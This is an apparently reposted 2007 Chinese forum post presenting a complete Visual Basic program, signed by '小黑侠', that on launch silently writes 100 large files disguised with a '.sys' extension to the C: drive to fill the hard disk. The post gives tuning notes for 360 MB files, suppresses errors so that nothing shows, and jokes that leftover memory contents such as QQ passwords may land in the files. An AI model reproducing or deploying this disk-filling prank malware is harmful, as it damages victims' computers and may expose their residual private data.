真正用VB产生随机任意大小文件挤满硬盘
发表于:2007-07-14来源:作者:点击数:
标签:
Private Sub Form_Load() On Error Resume Next For h = 1 To 100 注释:(这个100为写入文件的个数,就是向C盘下写100个文件) Open c:\小黑侠 + CStr(h) + .sys For Random As 1 注释:(在C盘下产生文件 类似 小黑侠x.sys x为数字) DoEvents Put #1, 30000,
Private Sub Form_Load()
On Error Resume Next
For h = 1 To 100 注释:(这个100为写入文件的个数,就是向C盘下写100个文件)
Open "c:\小黑侠" + CStr(h) + ".sys" For Random As 1
注释:(在C盘下产生文件 类似 "小黑侠x.sys" x为数字)
DoEvents
Put #1, 30000, "小黑侠"
注释:这里的这个30000是控制生成文件大小的。
注释:30000产生的文件大小是3.6M左右
注释:10000产生的文件大小是1.2M左右
注释:如果你改为3000000的话,那就是360M,不要太坏哦!
注释:如果你想知道那么大的文件里面是什么,那就就用写字板打开看就是了,可能里面还有你的QQ密码也说不定。因为这些内容都是在你的缓存文件里随机产生的。不过你会在文件的最后一行看到有一个神秘的字符,那就是“小黑侠”字样。呵呵,我跑到你电脑里去玩了。
Close #1 注释:关闭打开的文件句柄
Next
End Sub
以是程序可以直接粘帖到
VB工程文件中去即可执行。
代码很简单,相信聪明的你一定看得懂。
在下小黑侠是也,欢迎各位来信交流
email:wl3000wl@163.com
Oi
cq:46393567
原文转自:http://www.ltesting.net